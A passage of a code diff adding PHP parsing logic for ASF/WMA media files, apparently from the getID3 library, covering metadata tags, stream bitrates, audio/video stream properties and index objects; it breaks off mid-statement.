($this->TrimConvert(strtolower($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']))) { + + case 'wm/albumartist': + case 'artist': + // Note: not 'artist', that comes from 'author' tag + $thisfile_asf_comments['albumartist'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); + break; + + case 'wm/albumtitle': + case 'album': + $thisfile_asf_comments['album'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); + break; + + case 'wm/genre': + case 'genre': + $thisfile_asf_comments['genre'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); + break; + + case 'wm/partofset': + $thisfile_asf_comments['partofset'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); + break; + + case 'wm/tracknumber': + case 'tracknumber': + // be careful casting to int: casting unicode strings to int gives unexpected results (stops parsing at first non-numeric character) + $thisfile_asf_comments['track_number'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); + foreach ($thisfile_asf_comments['track_number'] as $key => $value) { + if (preg_match('/^[0-9\x00]+$/', $value)) { + $thisfile_asf_comments['track_number'][$key] = intval(str_replace("\x00", '', $value)); + } + } + break; + + case 'wm/track': + if (empty($thisfile_asf_comments['track_number'])) { + $thisfile_asf_comments['track_number'] = array(1 + (int) $this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); + } + break; + + case 'wm/year': + case 'year': + case 'date': + $thisfile_asf_comments['year'] = array( $this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); + break; + + case 'wm/lyrics': + case 'lyrics': + $thisfile_asf_comments['lyrics'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); + break; + + case 'isvbr': + if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']) { + $thisfile_audio['bitrate_mode'] = 'vbr'; + $thisfile_video['bitrate_mode'] = 'vbr'; + } + break; + + case 'id3': + $this->getid3->include_module('tag.id3v2'); + + $getid3_id3v2 = new getid3_id3v2($this->getid3); + $getid3_id3v2->AnalyzeString($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); + unset($getid3_id3v2); + + if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] > 1024) { + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = ''; + } + break; + + case 'wm/encodingtime': + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); + $thisfile_asf_comments['encoding_time_unix'] = array($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix']); + break; + + case 'wm/picture': + $WMpicture = $this->ASF_WMpicture($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); + foreach ($WMpicture as $key => $value) { + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current[$key] = $value; + } + unset($WMpicture); +/* + $wm_picture_offset = 0; + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 1)); + $wm_picture_offset += 1; + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type'] = self::WMpictureTypeLookup($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id']); + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_size'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 4)); + $wm_picture_offset += 4; + + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = ''; + do { + $next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2); + $wm_picture_offset += 2; + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] .= $next_byte_pair; + } while ($next_byte_pair !== "\x00\x00"); + + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] = ''; + do { + $next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2); + $wm_picture_offset += 2; + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] .= $next_byte_pair; + } while ($next_byte_pair !== "\x00\x00"); + + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['dataoffset'] = $wm_picture_offset; + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'] = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset); + unset($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']); + + $imageinfo = array(); + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = ''; + $imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], $imageinfo); + unset($imageinfo); + if (!empty($imagechunkcheck)) { + $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); + } + if (!isset($thisfile_asf_comments['picture'])) { + $thisfile_asf_comments['picture'] = array(); + } + $thisfile_asf_comments['picture'][] = array('data'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], 'image_mime'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime']); +*/ + break; + + default: + switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) { + case 0: // Unicode string + if (substr($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']), 0, 3) == 'WM/') { + $thisfile_asf_comments[str_replace('wm/', '', strtolower($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'])))] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'])); + } + break; + + case 1: + break; + } + break; + } + + } + break; + + case GETID3_ASF_Stream_Bitrate_Properties_Object: + // Stream Bitrate Properties Object: (optional, one only) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Stream Bitrate Properties object - GETID3_ASF_Stream_Bitrate_Properties_Object + // Object Size QWORD 64 // size of Extended Content Description object, including 26 bytes of Stream Bitrate Properties Object header + // Bitrate Records Count WORD 16 // number of records in Bitrate Records + // Bitrate Records array of: variable // + // * Flags WORD 16 // + // * * Stream Number bits 7 (0x007F) // number of this stream + // * * Reserved bits 9 (0xFF80) // hardcoded: 0 + // * Average Bitrate DWORD 32 // in bits per second + + // shortcut + $thisfile_asf['stream_bitrate_properties_object'] = array(); + $thisfile_asf_streambitratepropertiesobject = &$thisfile_asf['stream_bitrate_properties_object']; + + $thisfile_asf_streambitratepropertiesobject['offset'] = $NextObjectOffset + $offset; + $thisfile_asf_streambitratepropertiesobject['objectid'] = $NextObjectGUID; + $thisfile_asf_streambitratepropertiesobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_streambitratepropertiesobject['objectsize'] = $NextObjectSize; + $thisfile_asf_streambitratepropertiesobject['bitrate_records_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) { + $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)); + $offset += 2; + $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags']['stream_number'] = $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] & 0x007F; + $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4)); + $offset += 4; + } + break; + + case GETID3_ASF_Padding_Object: + // Padding Object: (optional) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Padding object - GETID3_ASF_Padding_Object + // Object Size QWORD 64 // size of Padding object, including 24 bytes of ASF Padding Object header + // Padding Data BYTESTREAM variable // ignore + + // shortcut + $thisfile_asf['padding_object'] = array(); + $thisfile_asf_paddingobject = &$thisfile_asf['padding_object']; + + $thisfile_asf_paddingobject['offset'] = $NextObjectOffset + $offset; + $thisfile_asf_paddingobject['objectid'] = $NextObjectGUID; + $thisfile_asf_paddingobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_paddingobject['objectsize'] = $NextObjectSize; + $thisfile_asf_paddingobject['padding_length'] = $thisfile_asf_paddingobject['objectsize'] - 16 - 8; + $thisfile_asf_paddingobject['padding'] = substr($ASFHeaderData, $offset, $thisfile_asf_paddingobject['padding_length']); + $offset += ($NextObjectSize - 16 - 8); + break; + + case GETID3_ASF_Extended_Content_Encryption_Object: + case GETID3_ASF_Content_Encryption_Object: + // WMA DRM - just ignore + $offset += ($NextObjectSize - 16 - 8); + break; + + default: + // Implementations shall ignore any standard or non-standard object that they do not know how to handle. + if ($this->GUIDname($NextObjectGUIDtext)) { + $this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8)); + } else { + $this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8)); + } + $offset += ($NextObjectSize - 16 - 8); + break; + } + } + if (isset($thisfile_asf_streambitratepropertiesobject['bitrate_records_count'])) { + $ASFbitrateAudio = 0; + $ASFbitrateVideo = 0; + for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) { + if (isset($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter])) { + switch ($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter]['type_raw']) { + case 1: + $ASFbitrateVideo += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate']; + break; + + case 2: + $ASFbitrateAudio += $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate']; + break; + + default: + // do nothing + break; + } + } + } + if ($ASFbitrateAudio > 0) { + $thisfile_audio['bitrate'] = $ASFbitrateAudio; + } + if ($ASFbitrateVideo > 0) { + $thisfile_video['bitrate'] = $ASFbitrateVideo; + } + } + if (isset($thisfile_asf['stream_properties_object']) && is_array($thisfile_asf['stream_properties_object'])) { + + $thisfile_audio['bitrate'] = 0; + $thisfile_video['bitrate'] = 0; + + foreach ($thisfile_asf['stream_properties_object'] as $streamnumber => $streamdata) { + + switch ($streamdata['stream_type']) { + case GETID3_ASF_Audio_Media: + // Field Name Field Type Size (bits) + // Codec ID / Format Tag WORD 16 // unique ID of audio codec - defined as wFormatTag field of WAVEFORMATEX structure + // Number of Channels WORD 16 // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure + // Samples Per Second DWORD 32 // in Hertz - defined as nSamplesPerSec field of WAVEFORMATEX structure + // Average number of Bytes/sec DWORD 32 // bytes/sec of audio stream - defined as nAvgBytesPerSec field of WAVEFORMATEX structure + // Block Alignment WORD 16 // block size in bytes of audio codec - defined as nBlockAlign field of WAVEFORMATEX structure + // Bits per sample WORD 16 // bits per sample of mono data. set to zero for variable bitrate codecs. defined as wBitsPerSample field of WAVEFORMATEX structure + // Codec Specific Data Size WORD 16 // size in bytes of Codec Specific Data buffer - defined as cbSize field of WAVEFORMATEX structure + // Codec Specific Data BYTESTREAM variable // array of codec-specific data bytes + + // shortcut + $thisfile_asf['audio_media'][$streamnumber] = array(); + $thisfile_asf_audiomedia_currentstream = &$thisfile_asf['audio_media'][$streamnumber]; + + $audiomediaoffset = 0; + + $thisfile_asf_audiomedia_currentstream = getid3_riff::parseWAVEFORMATex(substr($streamdata['type_specific_data'], $audiomediaoffset, 16)); + $audiomediaoffset += 16; + + $thisfile_audio['lossless'] = false; + switch ($thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']) { + case 0x0001: // PCM + case 0x0163: // WMA9 Lossless + $thisfile_audio['lossless'] = true; + break; + } + + if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { + foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) { + if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) { + $thisfile_asf_audiomedia_currentstream['bitrate'] = $dataarray['bitrate']; + $thisfile_audio['bitrate'] += $dataarray['bitrate']; + break; + } + } + } else { + if (!empty($thisfile_asf_audiomedia_currentstream['bytes_sec'])) { + $thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bytes_sec'] * 8; + } elseif (!empty($thisfile_asf_audiomedia_currentstream['bitrate'])) { + $thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bitrate']; + } + } + $thisfile_audio['streams'][$streamnumber] = $thisfile_asf_audiomedia_currentstream; + $thisfile_audio['streams'][$streamnumber]['wformattag'] = $thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']; + $thisfile_audio['streams'][$streamnumber]['lossless'] = $thisfile_audio['lossless']; + $thisfile_audio['streams'][$streamnumber]['bitrate'] = $thisfile_audio['bitrate']; + $thisfile_audio['streams'][$streamnumber]['dataformat'] = 'wma'; + unset($thisfile_audio['streams'][$streamnumber]['raw']); + + $thisfile_asf_audiomedia_currentstream['codec_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $audiomediaoffset, 2)); + $audiomediaoffset += 2; + $thisfile_asf_audiomedia_currentstream['codec_data'] = substr($streamdata['type_specific_data'], $audiomediaoffset, $thisfile_asf_audiomedia_currentstream['codec_data_size']); + $audiomediaoffset += $thisfile_asf_audiomedia_currentstream['codec_data_size']; + + break; + + case GETID3_ASF_Video_Media: + // Field Name Field Type Size (bits) + // Encoded Image Width DWORD 32 // width of image in pixels + // Encoded Image Height DWORD 32 // height of image in pixels + // Reserved Flags BYTE 8 // hardcoded: 0x02 + // Format Data Size WORD 16 // size of Format Data field in bytes + // Format Data array of: variable // + // * Format Data Size DWORD 32 // number of bytes in Format Data field, in bytes - defined as biSize field of BITMAPINFOHEADER structure + // * Image Width LONG 32 // width of encoded image in pixels - defined as biWidth field of BITMAPINFOHEADER structure + // * Image Height LONG 32 // height of encoded image in pixels - defined as biHeight field of BITMAPINFOHEADER structure + // * Reserved WORD 16 // hardcoded: 0x0001 - defined as biPlanes field of BITMAPINFOHEADER structure + // * Bits Per Pixel Count WORD 16 // bits per pixel - defined as biBitCount field of BITMAPINFOHEADER structure + // * Compression ID FOURCC 32 // fourcc of video codec - defined as biCompression field of BITMAPINFOHEADER structure + // * Image Size DWORD 32 // image size in bytes - defined as biSizeImage field of BITMAPINFOHEADER structure + // * Horizontal Pixels / Meter DWORD 32 // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure + // * Vertical Pixels / Meter DWORD 32 // vertical resolution of target device in pixels per meter - defined as biYPelsPerMeter field of BITMAPINFOHEADER structure + // * Colors Used Count DWORD 32 // number of color indexes in the color table that are actually used - defined as biClrUsed field of BITMAPINFOHEADER structure + // * Important Colors Count DWORD 32 // number of color index required for displaying bitmap. if zero, all colors are required. defined as biClrImportant field of BITMAPINFOHEADER structure + // * Codec Specific Data BYTESTREAM variable // array of codec-specific data bytes + + // shortcut + $thisfile_asf['video_media'][$streamnumber] = array(); + $thisfile_asf_videomedia_currentstream = &$thisfile_asf['video_media'][$streamnumber]; + + $videomediaoffset = 0; + $thisfile_asf_videomedia_currentstream['image_width'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); + $videomediaoffset += 4; + $thisfile_asf_videomedia_currentstream['image_height'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); + $videomediaoffset += 4; + $thisfile_asf_videomedia_currentstream['flags'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 1)); + $videomediaoffset += 1; + $thisfile_asf_videomedia_currentstream['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); + $videomediaoffset += 2; + $thisfile_asf_videomedia_currentstream['format_data']['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); + $videomediaoffset += 4; + $thisfile_asf_videomedia_currentstream['format_data']['image_width'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); + $videomediaoffset += 4; + $thisfile_asf_videomedia_currentstream['format_data']['image_height'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); + $videomediaoffset += 4; + $thisfile_asf_videomedia_currentstream['format_data']['reserved'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); + $videomediaoffset += 2; + $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2)); + $videomediaoffset += 2; + $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc'] = substr($streamdata['type_specific_data'], $videomediaoffset, 4); + $videomediaoffset += 4; + $thisfile_asf_videomedia_currentstream['format_data']['image_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); + $videomediaoffset += 4; + $thisfile_asf_videomedia_currentstream['format_data']['horizontal_pels'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); + $videomediaoffset += 4; + $thisfile_asf_videomedia_currentstream['format_data']['vertical_pels'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); + $videomediaoffset += 4; + $thisfile_asf_videomedia_currentstream['format_data']['colors_used'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); + $videomediaoffset += 4; + $thisfile_asf_videomedia_currentstream['format_data']['colors_important'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4)); + $videomediaoffset += 4; + $thisfile_asf_videomedia_currentstream['format_data']['codec_data'] = substr($streamdata['type_specific_data'], $videomediaoffset); + + if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) { + foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) { + if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) { + $thisfile_asf_videomedia_currentstream['bitrate'] = $dataarray['bitrate']; + $thisfile_video['streams'][$streamnumber]['bitrate'] = $dataarray['bitrate']; + $thisfile_video['bitrate'] += $dataarray['bitrate']; + break; + } + } + } + + $thisfile_asf_videomedia_currentstream['format_data']['codec'] = getid3_riff::fourccLookup($thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']); + + $thisfile_video['streams'][$streamnumber]['fourcc'] = $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']; + $thisfile_video['streams'][$streamnumber]['codec'] = $thisfile_asf_videomedia_currentstream['format_data']['codec']; + $thisfile_video['streams'][$streamnumber]['resolution_x'] = $thisfile_asf_videomedia_currentstream['image_width']; + $thisfile_video['streams'][$streamnumber]['resolution_y'] = $thisfile_asf_videomedia_currentstream['image_height']; + $thisfile_video['streams'][$streamnumber]['bits_per_sample'] = $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel']; + break; + + default: + break; + } + } + } + + while ($this->ftell() < $info['avdataend']) { + $NextObjectDataHeader = $this->fread(24); + $offset = 0; + $NextObjectGUID = substr($NextObjectDataHeader, 0, 16); + $offset += 16; + $NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID); + $NextObjectSize = getid3_lib::LittleEndian2Int(substr($NextObjectDataHeader, $offset, 8)); + $offset += 8; + + switch ($NextObjectGUID) { + case GETID3_ASF_Data_Object: + // Data Object: (mandatory, one only) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Data object - GETID3_ASF_Data_Object + // Object Size QWORD 64 // size of Data object, including 50 bytes of Data Object header. may be 0 if FilePropertiesObject.BroadcastFlag == 1 + // File ID GUID 128 // unique identifier. identical to File ID field in Header Object + // Total Data Packets QWORD 64 // number of Data Packet entries in Data Object. invalid if FilePropertiesObject.BroadcastFlag == 1 + // Reserved WORD 16 // hardcoded: 0x0101 + + // shortcut + $thisfile_asf['data_object'] = array(); + $thisfile_asf_dataobject = &$thisfile_asf['data_object']; + + $DataObjectData = $NextObjectDataHeader.$this->fread(50 - 24); + $offset = 24; + + $thisfile_asf_dataobject['objectid'] = $NextObjectGUID; + $thisfile_asf_dataobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_dataobject['objectsize'] = $NextObjectSize; + + $thisfile_asf_dataobject['fileid'] = substr($DataObjectData, $offset, 16); + $offset += 16; + $thisfile_asf_dataobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_dataobject['fileid']); + $thisfile_asf_dataobject['total_data_packets'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 8)); + $offset += 8; + $thisfile_asf_dataobject['reserved'] = getid3_lib::LittleEndian2Int(substr($DataObjectData, $offset, 2)); + $offset += 2; + if ($thisfile_asf_dataobject['reserved'] != 0x0101) { + $this->warning('data_object.reserved (0x'.sprintf('%04X', $thisfile_asf_dataobject['reserved']).') does not match expected value of "0x0101"'); + //return false; + break; + } + + // Data Packets array of: variable // + // * Error Correction Flags BYTE 8 // + // * * Error Correction Data Length bits 4 // if Error Correction Length Type == 00, size of Error Correction Data in bytes, else hardcoded: 0000 + // * * Opaque Data Present bits 1 // + // * * Error Correction Length Type bits 2 // number of bits for size of the error correction data. hardcoded: 00 + // * * Error Correction Present bits 1 // If set, use Opaque Data Packet structure, else use Payload structure + // * Error Correction Data + + $info['avdataoffset'] = $this->ftell(); + $this->fseek(($thisfile_asf_dataobject['objectsize'] - 50), SEEK_CUR); // skip actual audio/video data + $info['avdataend'] = $this->ftell(); + break; + + case GETID3_ASF_Simple_Index_Object: + // Simple Index Object: (optional, recommended, one per video stream) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for Simple Index object - GETID3_ASF_Data_Object + // Object Size QWORD 64 // size of Simple Index object, including 56 bytes of Simple Index Object header + // File ID GUID 128 // unique identifier. may be zero or identical to File ID field in Data Object and Header Object + // Index Entry Time Interval QWORD 64 // interval between index entries in 100-nanosecond units + // Maximum Packet Count DWORD 32 // maximum packet count for all index entries + // Index Entries Count DWORD 32 // number of Index Entries structures + // Index Entries array of: variable // + // * Packet Number DWORD 32 // number of the Data Packet associated with this index entry + // * Packet Count WORD 16 // number of Data Packets to sent at this index entry + + // shortcut + $thisfile_asf['simple_index_object'] = array(); + $thisfile_asf_simpleindexobject = &$thisfile_asf['simple_index_object']; + + $SimpleIndexObjectData = $NextObjectDataHeader.$this->fread(56 - 24); + $offset = 24; + + $thisfile_asf_simpleindexobject['objectid'] = $NextObjectGUID; + $thisfile_asf_simpleindexobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_simpleindexobject['objectsize'] = $NextObjectSize; + + $thisfile_asf_simpleindexobject['fileid'] = substr($SimpleIndexObjectData, $offset, 16); + $offset += 16; + $thisfile_asf_simpleindexobject['fileid_guid'] = $this->BytestringToGUID($thisfile_asf_simpleindexobject['fileid']); + $thisfile_asf_simpleindexobject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 8)); + $offset += 8; + $thisfile_asf_simpleindexobject['maximum_packet_count'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4)); + $offset += 4; + $thisfile_asf_simpleindexobject['index_entries_count'] = getid3_lib::LittleEndian2Int(substr($SimpleIndexObjectData, $offset, 4)); + $offset += 4; + + $IndexEntriesData = $SimpleIndexObjectData.$this->fread(6 * $thisfile_asf_simpleindexobject['index_entries_count']); + for ($IndexEntriesCounter = 0; $IndexEntriesCounter < $thisfile_asf_simpleindexobject['index_entries_count']; $IndexEntriesCounter++) { + $thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_number'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4)); + $offset += 4; + $thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_count'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4)); + $offset += 2; + } + + break; + + case GETID3_ASF_Index_Object: + // 6.2 ASF top-level Index Object (optional but recommended when appropriate, 0 or 1) + // Field Name Field Type Size (bits) + // Object ID GUID 128 // GUID for the Index Object - GETID3_ASF_Index_Object + // Object Size QWORD 64 // Specifies the size, in bytes, of the Index Object, including at least 34 bytes of Index Object header + // Index Entry Time Interval DWORD 32 // Specifies the time interval between each index entry in ms. + // Index Specifiers Count WORD 16 // Specifies the number of Index Specifiers structures in this Index Object. + // Index Blocks Count DWORD 32 // Specifies the number of Index Blocks structures in this Index Object. + + // Index Entry Time Interval DWORD 32 // Specifies the time interval between index entries in milliseconds. This value cannot be 0. + // Index Specifiers Count WORD 16 // Specifies the number of entries in the Index Specifiers list. Valid values are 1 and greater. + // Index Specifiers array of: varies // + // * Stream Number WORD 16 // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127. + // * Index Type WORD 16 // Specifies Index Type values as follows: + // 1 = Nearest Past Data Packet - indexes point to the data packet whose presentation time is closest to the index entry time. + // 2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire object or first fragment of an object. + // 3 = Nearest Past Cleanpoint. - indexes point to the closest data packet containing an entire object (or first fragment of an object) that has the Cleanpoint Flag set. + // Nearest Past Cleanpoint is the most common type of index. + // Index Entry Count DWORD 32 // Specifies the number of Index Entries in the block. + // * Block Positions QWORD varies // Specifies a list of byte offsets of the beginnings of the blocks relative to the beginning of the first Data Packet (i.e., the beginning of the Data Object + 50 bytes). The number of entries in this list is specified by the value of the Index Specifiers Count field. The order of those byte offsets is tied to the order in which Index Specifiers are listed. + // * Index Entries array of: varies // + // * * Offsets DWORD varies // An offset value of 0xffffffff indicates an invalid offset value + + // shortcut + $thisfile_asf['asf_index_object'] = array(); + $thisfile_asf_asfindexobject = &$thisfile_asf['asf_index_object']; + + $ASFIndexObjectData = $NextObjectDataHeader.$this->fread(34 - 24); + $offset = 24; + + $thisfile_asf_asfindexobject['objectid'] = $NextObjectGUID; + $thisfile_asf_asfindexobject['objectid_guid'] = $NextObjectGUIDtext; + $thisfile_asf_asfindexobject['objectsize'] = $NextObjectSize; + + $thisfile_asf_asfindexobject['entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); + $offset += 4; + $thisfile_asf_asfindexobject['index_specifiers_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); + $offset += 2; + $thisfile_asf_asfindexobject['index_blocks_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); + $offset += 4; + + $ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count']); + for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { + $IndexSpecifierStreamNumber = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); + $offset += 2; + $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['stream_number'] = $IndexSpecifierStreamNumber; + $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2)); + $offset += 2; + $thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type_text'] = $this->ASFIndexObjectIndexTypeLookup($thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']); + } + + $ASFIndexObjectData .= $this->fread(4); + $thisfile_asf_asfindexobject['index_entry_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4)); + $offset += 4; + + $ASFIndexObjectData .= $this->fread(8 * $thisfile_asf_asfindexobject['index_specifiers_count']); + for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { + $thisfile_asf_asfindexobject['block_positions'][$IndexSpecifiersCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 8)); + $offset += 8; + } + + $ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count'] * $thisfile_asf_asfindexobject['index_entry_count']); + for ($IndexEntryCounter = 0; $IndexEntryCounter < $thisfile_asf_asfindexobject['index_entry_count']; $IndexEntryCounter++) { + for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) { + $thisfile_asf_asfindexobject['offsets'][$IndexSpecifiersCounter][$IndexEntryCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 